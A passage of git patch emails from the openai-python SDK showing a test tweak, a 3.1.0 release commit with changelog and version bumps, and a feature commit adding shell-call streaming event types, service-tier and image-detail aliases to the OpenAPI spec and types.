accepted_prediction_tokens=None,
audio_tokens=None,
reasoning_tokens=0,
- rejected_prediction_tokens=None
+ rejected_prediction_tokens=None,
+ text_tokens=None
),
prompt_tokens=79,
prompt_tokens_details=None,
diff --git a/tests/lib/chat/test_completions_streaming.py b/tests/lib/chat/test_completions_streaming.py
index 0b6200a71b..bc265b9a49 100644
--- a/tests/lib/chat/test_completions_streaming.py
+++ b/tests/lib/chat/test_completions_streaming.py
@@ -171,7 +171,8 @@ def on_event(stream: ChatCompletionStream[Location], event: ChatCompletionStream
accepted_prediction_tokens=None,
audio_tokens=None,
reasoning_tokens=0,
- rejected_prediction_tokens=None
+ rejected_prediction_tokens=None,
+ text_tokens=None
),
prompt_tokens=79,
prompt_tokens_details=None,
From 10ee3f0da2ac6f93345c1204bd7bb1a2faa79ff2 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Fri, 14 Aug 2026 23:45:40 +0000
Subject: [PATCH 017/341] release: 3.1.0 (#3600)
Automated Release PR
---
##
[3.1.0](https://github.com/openai/openai-python/compare/v3.0.0...v3.1.0)
(2026-08-14)
### Features
* **api:** add WebSocket stream IDs
([#3612](https://github.com/openai/openai-python/issues/3612))
([d9029e3](https://github.com/openai/openai-python/commit/d9029e3ada3c008b4631d78a425743445730892a))
* **api:** add workload identity access token issued event
([#3601](https://github.com/openai/openai-python/issues/3601))
([df274d4](https://github.com/openai/openai-python/commit/df274d44f5207febff3231f3a707f1d2265917b5))
* **api:** deprecate Sora video APIs
([#3610](https://github.com/openai/openai-python/issues/3610))
([721cb1c](https://github.com/openai/openai-python/commit/721cb1cd1cacb71237db4403d80a01403af61248))
* **api:** Ultrafast tier, structured MCP and websocket errors, separate
websocket events
([#3617](https://github.com/openai/openai-python/issues/3617))
([f38355e](https://github.com/openai/openai-python/commit/f38355ecdf69b231be218e572f591ce7f389a211))
### Chores
* remove Stainless attribution and infrastructure
([#3599](https://github.com/openai/openai-python/issues/3599))
([a1eeab5](https://github.com/openai/openai-python/commit/a1eeab58db02de46717ccebaf1eb83e314fa86ff))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 15 +++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 19 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 4191c8899b..e0dc5001b1 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.0.0"
+ ".": "3.1.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index c2e2c7ae29..0c92902b62 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,20 @@
# Changelog
+## [3.1.0](https://github.com/openai/openai-python/compare/v3.0.0...v3.1.0) (2026-08-14)
+
+
+### Features
+
+* **api:** add WebSocket stream IDs ([#3612](https://github.com/openai/openai-python/issues/3612)) ([d9029e3](https://github.com/openai/openai-python/commit/d9029e3ada3c008b4631d78a425743445730892a))
+* **api:** add workload identity access token issued event ([#3601](https://github.com/openai/openai-python/issues/3601)) ([df274d4](https://github.com/openai/openai-python/commit/df274d44f5207febff3231f3a707f1d2265917b5))
+* **api:** deprecate Sora video APIs ([#3610](https://github.com/openai/openai-python/issues/3610)) ([721cb1c](https://github.com/openai/openai-python/commit/721cb1cd1cacb71237db4403d80a01403af61248))
+* **api:** Ultrafast tier, structured MCP and websocket errors, separate websocket events ([#3617](https://github.com/openai/openai-python/issues/3617)) ([f38355e](https://github.com/openai/openai-python/commit/f38355ecdf69b231be218e572f591ce7f389a211))
+
+
+### Chores
+
+* remove Stainless attribution and infrastructure ([#3599](https://github.com/openai/openai-python/issues/3599)) ([a1eeab5](https://github.com/openai/openai-python/commit/a1eeab58db02de46717ccebaf1eb83e314fa86ff))
+
## [3.0.0](https://github.com/openai/openai-python/compare/v2.54.0...v3.0.0) (2026-08-12)
diff --git a/pyproject.toml b/pyproject.toml
index 4a38bd11e7..e0e68bc878 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.0.0"
+version = "3.1.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 1e5a2b65a6..5b7a25b349 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.0.0" # x-release-please-version
+__version__ = "3.1.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index ab8356f146..0b601af50c 100644
--- a/uv.lock
+++ b/uv.lock
@@ -909,7 +909,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.0.0" # x-release-please-version
+version = "3.1.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From ff14a33c1b21c36b9e43a0150a3818ee3aa3712a Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Mon, 17 Aug 2026 15:42:09 +0000
Subject: [PATCH 018/341] feat(api): Add shell call streaming events and new
service/image types (#3635)
## Summary
Introduce first-class streaming event types for shell tool calls and add
typed service-tier and image-detail aliases used across Responses and
beta APIs. Also add optional image metadata fields for partial image
events, an optional metadata field on ChatCompletion, and a new
audit-log event value.
## Changes
- Add streaming event models for shell call commands and output (command
added, command delta, command done, output content delta, output content
done) and corresponding WebSocket/server variants for both stable and
beta Responses event unions.
- Introduce ImageDetail and BetaImageDetail type aliases
("low"|"high"|"auto"|"original") and replace inline literal detail
annotations in Response/BetaResponse input and screenshot types to use
these aliases.
- Introduce ServiceTier and BetaServiceTier type aliases
(Optional["auto"|"default"|"flex"|"scale"|"priority"|"fast"|"ultrafast"])
and update service_tier parameters/fields across Response, BetaResponse,
Responses client/server event types, and request parameter types to use
these aliases.
- Add new optional fields to image partial events (background,
output_format, quality, size) on image-generation partial-image event
models.
- Add an optional metadata field to ChatCompletion model to allow
attaching 16 key-value pairs to chat completion objects.
- Add a new audit log event value
"tenant.ads_account.onboarding.redemption" to audit log enums and
response types.
- Expose the new event and type symbols through the public
Responses/beta/responses type exports so they appear in the SDK surface
area.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +-
api.md | 7 +
api_reference/openapi.transformed.yml | 544 ++++++++++++++++++
src/openai/lib/streaming/responses/_events.py | 10 +
.../admin/organization/audit_logs.py | 2 +
.../resources/beta/responses/responses.py | 31 +-
src/openai/resources/responses/api.md | 7 +
src/openai/resources/responses/responses.py | 43 +-
.../organization/audit_log_list_params.py | 1 +
.../organization/audit_log_list_response.py | 1 +
src/openai/types/beta/__init__.py | 17 +
src/openai/types/beta/beta_image_detail.py | 7 +
src/openai/types/beta/beta_response.py | 3 +-
...onse_image_gen_call_partial_image_event.py | 12 +
.../types/beta/beta_response_input_image.py | 3 +-
.../beta/beta_response_input_image_content.py | 3 +-
...beta_response_input_image_content_param.py | 4 +-
.../beta/beta_response_input_image_param.py | 4 +-
src/openai/types/beta/beta_response_item.py | 3 +-
.../types/beta/beta_response_output_item.py | 3 +-
...response_shell_call_command_added_event.py | 37 ++
...response_shell_call_command_delta_event.py | 40 ++
..._response_shell_call_command_done_event.py | 37 ++
...e_shell_call_output_content_delta_event.py | 50 ++
...se_shell_call_output_content_done_event.py | 87 +++
.../types/beta/beta_response_stream_event.py | 10 +
.../types/beta/beta_responses_client_event.py | 3 +-
.../beta/beta_responses_client_event_param.py | 3 +-
.../types/beta/beta_responses_server_event.py | 70 +++
src/openai/types/beta/beta_service_tier.py | 8 +
.../types/beta/response_create_params.py | 3 +-
src/openai/types/chat/chat_completion.py | 11 +
.../computer_screenshot_content.py | 3 +-
src/openai/types/responses/__init__.py | 17 +
src/openai/types/responses/image_detail.py | 7 +
src/openai/types/responses/response.py | 3 +-
.../types/responses/response_create_params.py | 3 +-
...onse_image_gen_call_partial_image_event.py | 13 +
.../types/responses/response_input_image.py | 3 +-
.../responses/response_input_image_content.py | 3 +-
.../response_input_image_content_param.py | 4 +-
.../responses/response_input_image_param.py | 4 +-
...response_shell_call_command_added_event.py | 26 +
...response_shell_call_command_delta_event.py | 30 +
.../response_shell_call_command_done_event.py | 26 +
...e_shell_call_output_content_delta_event.py | 40 ++
...se_shell_call_output_content_done_event.py | 76 +++
.../types/responses/response_stream_event.py | 10 +
.../types/responses/responses_client_event.py | 3 +-
.../responses/responses_client_event_param.py | 3 +-
.../types/responses/responses_server_event.py | 70 +++
src/openai/types/responses/service_tier.py | 8 +
tests/lib/chat/test_completions.py | 6 +
tests/lib/chat/test_completions_streaming.py | 1 +
54 files changed, 1363 insertions(+), 70 deletions(-)
create mode 100644 src/openai/types/beta/beta_image_detail.py
create mode 100644 src/openai/types/beta/beta_response_shell_call_command_added_event.py
create mode 100644 src/openai/types/beta/beta_response_shell_call_command_delta_event.py
create mode 100644 src/openai/types/beta/beta_response_shell_call_command_done_event.py
create mode 100644 src/openai/types/beta/beta_response_shell_call_output_content_delta_event.py
create mode 100644 src/openai/types/beta/beta_response_shell_call_output_content_done_event.py
create mode 100644 src/openai/types/beta/beta_service_tier.py
create mode 100644 src/openai/types/responses/image_detail.py
create mode 100644 src/openai/types/responses/response_shell_call_command_added_event.py
create mode 100644 src/openai/types/responses/response_shell_call_command_delta_event.py
create mode 100644 src/openai/types/responses/response_shell_call_command_done_event.py
create mode 100644 src/openai/types/responses/response_shell_call_output_content_delta_event.py
create mode 100644 src/openai/types/responses/response_shell_call_output_content_done_event.py
create mode 100644 src/openai/types/responses/service_tier.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 3c4d8b56b2..048a8a4bc7 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: 23b52e55-fc5f-454a-afc7-2b3471cb6213
-openapi_spec_hash: cc58e691f33751629ca4de3100082edb
-openapi_transformed_spec_hash: 6e9129151e5404deb042f722a97bb2a9
-config_hash: a356ac9fd5606025cdc3db3f68432996
-codegen_sha: 551dd5f1bdfda258953f1286d691875a79b87acc
+generation_id: e8613c5d-522c-4786-b0b1-1be514cf0c19
+openapi_spec_hash: dd725fb7d43ceec7fb2de6f8713d14b6
+openapi_transformed_spec_hash: 10930179c5f116288e24e0c6fda46559
+config_hash: 28f37c225c55c75547d4feb84ee71044
+codegen_sha: 2f6710b1a3501b9c0ee796f45ebada0d93d27bfd
diff --git a/api.md b/api.md
index 7cd6359977..c17edbb239 100644
--- a/api.md
+++ b/api.md
@@ -466,6 +466,7 @@ from openai.types.beta import (
BetaFileSearchTool,
BetaFunctionShellTool,
BetaFunctionTool,
+ BetaImageDetail,
BetaInlineSkill,
BetaInlineSkillSource,
BetaLocalEnvironment,
@@ -574,6 +575,11 @@ from openai.types.beta import (
BetaResponseReasoningTextDoneEvent,
BetaResponseRefusalDeltaEvent,
BetaResponseRefusalDoneEvent,
+ BetaResponseShellCallCommandAddedEvent,
+ BetaResponseShellCallCommandDeltaEvent,
+ BetaResponseShellCallCommandDoneEvent,
+ BetaResponseShellCallOutputContentDeltaEvent,
+ BetaResponseShellCallOutputContentDoneEvent,
BetaResponseStatus,
BetaResponseStreamEvent,
BetaResponseTextConfig,
@@ -588,6 +594,7 @@ from openai.types.beta import (
BetaResponseWebSearchCallSearchingEvent,
BetaResponsesClientEvent,
BetaResponsesServerEvent,
+ BetaServiceTier,
BetaSkillReference,
BetaTool,
BetaToolChoiceAllowed,
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 0bc670a31f..7563a96471 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -28719,6 +28719,7 @@ components:
- tenant.resource_role_assignment.deleted
- tenant.resource_access.updated
- tenant.resource_access.deleted
+ - tenant.ads_account.onboarding.redemption
- tenant.session_policy.created
- tenant.session_policy.updated
- tenant.session_policy.deleted
@@ -31600,6 +31601,8 @@ components:
model:
type: string
description: The model used for the chat completion.
+ metadata:
+ $ref: '#/components/schemas/Metadata'
service_tier:
$ref: '#/components/schemas/ServiceTier'
system_fingerprint:
@@ -53430,6 +53433,18 @@ components:
partial_image_b64:
type: string
description: Base64-encoded partial image data, suitable for rendering as an image.
+ size:
+ type: string
+ description: The image size that was used.
+ quality:
+ type: string
+ description: The image quality that was used.
+ background:
+ type: string
+ description: The background setting that was used.
+ output_format:
+ type: string
+ description: The output format that was used.
required:
- type
- output_index
@@ -54683,6 +54698,13 @@ components:
- $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
- $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
- $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandAddedStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandDeltaStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandDoneStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDoneStreamingEvent'
- $ref: '#/components/schemas/ResponseInProgressEvent'
- $ref: '#/components/schemas/ResponseFailedEvent'
- $ref: '#/components/schemas/ResponseIncompleteEvent'
@@ -55331,6 +55353,68 @@ components:
The WebSocket lane that emitted this event. This field is present
when the originating `response.create` event supplied a
`stream_id`.
+ - title: ResponseShellCallCommandWsAdded
+ description: A streaming event that indicated a shell command was added to a tool call.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallCommandAddedStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseShellCallCommandWsDelta
+ description: A streaming event that indicated a shell command was incrementally updated.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallCommandDeltaStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseShellCallCommandWsDone
+ description: A streaming event that indicated a shell command was completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallCommandDoneStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseShellCallOutputContentWsDelta
+ description: A streaming event that indicated shell call output was incrementally added.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseShellCallOutputContentWsDone
+ description: A streaming event that indicated shell call output was completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDoneStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
- title: ResponseInWsProgress
description: Emitted when the response is in progress.
allOf:
@@ -55779,6 +55863,13 @@ components:
- $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
- $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
- $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandAddedStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandDeltaStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandDoneStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDoneStreamingEvent'
- $ref: '#/components/schemas/ResponseInProgressEvent'
- $ref: '#/components/schemas/ResponseFailedEvent'
- $ref: '#/components/schemas/ResponseIncompleteEvent'
@@ -64778,6 +64869,181 @@ components:
- id
title: Conversation
description: The conversation that this response belonged to. Input items and output items from this response were automatically added to this conversation.
+ ResponseShellCallCommandAddedStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_command.added
+ description: The type of the event, always `response.shell_call_command.added`.
+ default: response.shell_call_command.added
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that was added.
+ command:
+ type: string
+ description: The shell command that was added.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - output_index
+ - command_index
+ - command
+ title: Response shell command added event
+ description: A streaming event that indicated a shell command was added to a tool call.
+ ResponseShellCallCommandDeltaStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_command.delta
+ description: The type of the event, always `response.shell_call_command.delta`.
+ default: response.shell_call_command.delta
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that was updated.
+ delta:
+ type: string
+ description: The shell command delta that was appended.
+ obfuscation:
+ type: string
+ description: An obfuscation string that was added to pad the event payload.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - output_index
+ - command_index
+ - delta
+ title: Response shell command delta event
+ description: A streaming event that indicated a shell command was incrementally updated.
+ ResponseShellCallCommandDoneStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_command.done
+ description: The type of the event, always `response.shell_call_command.done`.
+ default: response.shell_call_command.done
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that was completed.
+ command:
+ type: string
+ description: The final shell command that was emitted.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - output_index
+ - command_index
+ - command
+ title: Response shell command done event
+ description: A streaming event that indicated a shell command was completed.
+ ShellCallOutputDelta:
+ properties:
+ stdout:
+ type: string
+ description: The stdout delta that was emitted.
+ stderr:
+ type: string
+ description: The stderr delta that was emitted.
+ type: object
+ required: []
+ title: Shell call output delta
+ description: A delta of stdout/stderr emitted while a shell call was running.
+ ResponseShellCallOutputContentDeltaStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_output_content.delta
+ description: The type of the event, always `response.shell_call_output_content.delta`.
+ default: response.shell_call_output_content.delta
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ item_id:
+ type: string
+ description: The ID of the output item that was updated.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that produced output.
+ delta:
+ $ref: '#/components/schemas/ShellCallOutputDelta'
+ description: The stdout/stderr delta that was emitted.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - item_id
+ - output_index
+ - command_index
+ - delta
+ title: Response shell call output content delta event
+ description: A streaming event that indicated shell call output was incrementally added.
+ ResponseShellCallOutputContentDoneStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_output_content.done
+ description: The type of the event, always `response.shell_call_output_content.done`.
+ default: response.shell_call_output_content.done
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ item_id:
+ type: string
+ description: The ID of the output item that was updated.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that produced output.
+ output:
+ items:
+ $ref: '#/components/schemas/FunctionShellCallOutputContent'
+ type: array
+ description: The output contents emitted for the shell command.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - item_id
+ - output_index
+ - command_index
+ - output
+ title: Response shell call output content done event
+ description: A streaming event that indicated shell call output was completed.
CreateConversationBody:
properties:
metadata:
@@ -74783,6 +75049,18 @@ components:
partial_image_b64:
type: string
description: Base64-encoded partial image data, suitable for rendering as an image.
+ size:
+ type: string
+ description: The image size that was used.
+ quality:
+ type: string
+ description: The image quality that was used.
+ background:
+ type: string
+ description: The background setting that was used.
+ output_format:
+ type: string
+ description: The output format that was used.
required:
- type
- output_index
@@ -75728,6 +76006,196 @@ components:
},
"sequence_number": 1
}
+ BetaResponseShellCallOutputContentDoneStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_output_content.done
+ description: The type of the event, always `response.shell_call_output_content.done`.
+ default: response.shell_call_output_content.done
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ agent:
+ $ref: '#/components/schemas/BetaAgentTag'
+ description: The agent that owns this multi-agent streaming event.
+ item_id:
+ type: string
+ description: The ID of the output item that was updated.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that produced output.
+ output:
+ items:
+ $ref: '#/components/schemas/BetaFunctionShellCallOutputContent'
+ type: array
+ description: The output contents emitted for the shell command.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - item_id
+ - output_index
+ - command_index
+ - output
+ title: Response shell call output content done event
+ description: A streaming event that indicated shell call output was completed.
+ BetaResponseShellCallOutputContentDeltaStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_output_content.delta
+ description: The type of the event, always `response.shell_call_output_content.delta`.
+ default: response.shell_call_output_content.delta
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ agent:
+ $ref: '#/components/schemas/BetaAgentTag'
+ description: The agent that owns this multi-agent streaming event.
+ item_id:
+ type: string
+ description: The ID of the output item that was updated.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that produced output.
+ delta:
+ $ref: '#/components/schemas/BetaShellCallOutputDelta'
+ description: The stdout/stderr delta that was emitted.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - item_id
+ - output_index
+ - command_index
+ - delta
+ title: Response shell call output content delta event
+ description: A streaming event that indicated shell call output was incrementally added.
+ BetaShellCallOutputDelta:
+ properties:
+ stdout:
+ type: string
+ description: The stdout delta that was emitted.
+ stderr:
+ type: string
+ description: The stderr delta that was emitted.
+ type: object
+ required: []
+ title: Shell call output delta
+ description: A delta of stdout/stderr emitted while a shell call was running.
+ BetaResponseShellCallCommandDoneStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_command.done
+ description: The type of the event, always `response.shell_call_command.done`.
+ default: response.shell_call_command.done
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ agent:
+ $ref: '#/components/schemas/BetaAgentTag'
+ description: The agent that owns this multi-agent streaming event.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that was completed.
+ command:
+ type: string
+ description: The final shell command that was emitted.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - output_index
+ - command_index
+ - command
+ title: Response shell command done event
+ description: A streaming event that indicated a shell command was completed.
+ BetaResponseShellCallCommandDeltaStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_command.delta
+ description: The type of the event, always `response.shell_call_command.delta`.
+ default: response.shell_call_command.delta
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ agent:
+ $ref: '#/components/schemas/BetaAgentTag'
+ description: The agent that owns this multi-agent streaming event.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that was updated.
+ delta:
+ type: string
+ description: The shell command delta that was appended.
+ obfuscation:
+ type: string
+ description: An obfuscation string that was added to pad the event payload.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - output_index
+ - command_index
+ - delta
+ title: Response shell command delta event
+ description: A streaming event that indicated a shell command was incrementally updated.
+ BetaResponseShellCallCommandAddedStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.shell_call_command.added
+ description: The type of the event, always `response.shell_call_command.added`.
+ default: response.shell_call_command.added
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ agent:
+ $ref: '#/components/schemas/BetaAgentTag'
+ description: The agent that owns this multi-agent streaming event.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that was added.
+ command:
+ type: string
+ description: The shell command that was added.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - output_index
+ - command_index
+ - command
+ title: Response shell command added event
+ description: A streaming event that indicated a shell command was added to a tool call.
BetaResponseFunctionCallArgumentsDoneEvent:
type: object
description: Emitted when function-call arguments are finalized.
@@ -77219,6 +77687,68 @@ components:
The WebSocket lane that emitted this event. This field is present
when the originating `response.create` event supplied a
`stream_id`.
+ - title: BetaResponseShellCallCommandWsAdded
+ description: A streaming event that indicated a shell command was added to a tool call.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandAddedStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseShellCallCommandWsDelta
+ description: A streaming event that indicated a shell command was incrementally updated.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDeltaStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseShellCallCommandWsDone
+ description: A streaming event that indicated a shell command was completed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDoneStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseShellCallOutputContentWsDelta
+ description: A streaming event that indicated shell call output was incrementally added.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: BetaResponseShellCallOutputContentWsDone
+ description: A streaming event that indicated shell call output was completed.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDoneStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
- title: BetaResponseInWsProgress
description: Emitted when the response is in progress.
allOf:
@@ -77857,6 +78387,13 @@ components:
- $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
- $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
- $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandAddedStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDeltaStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDoneStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDoneStreamingEvent'
- $ref: '#/components/schemas/BetaResponseInProgressEvent'
- $ref: '#/components/schemas/BetaResponseFailedEvent'
- $ref: '#/components/schemas/BetaResponseIncompleteEvent'
@@ -78232,6 +78769,13 @@ components:
- $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
- $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
- $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandAddedStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDeltaStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDoneStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDoneStreamingEvent'
- $ref: '#/components/schemas/BetaResponseInProgressEvent'
- $ref: '#/components/schemas/BetaResponseFailedEvent'
- $ref: '#/components/schemas/BetaResponseIncompleteEvent'
diff --git a/src/openai/lib/streaming/responses/_events.py b/src/openai/lib/streaming/responses/_events.py
index bdc47b834a..7e731d3985 100644
--- a/src/openai/lib/streaming/responses/_events.py
+++ b/src/openai/lib/streaming/responses/_events.py
@@ -31,9 +31,12 @@
ResponseAudioTranscriptDoneEvent,
ResponseAudioTranscriptDeltaEvent,
ResponseMcpCallArgumentsDoneEvent,
+ ResponseShellCallCommandDoneEvent,
ResponseImageGenCallCompletedEvent,
ResponseMcpCallArgumentsDeltaEvent,
ResponseMcpListToolsCompletedEvent,
+ ResponseShellCallCommandAddedEvent,
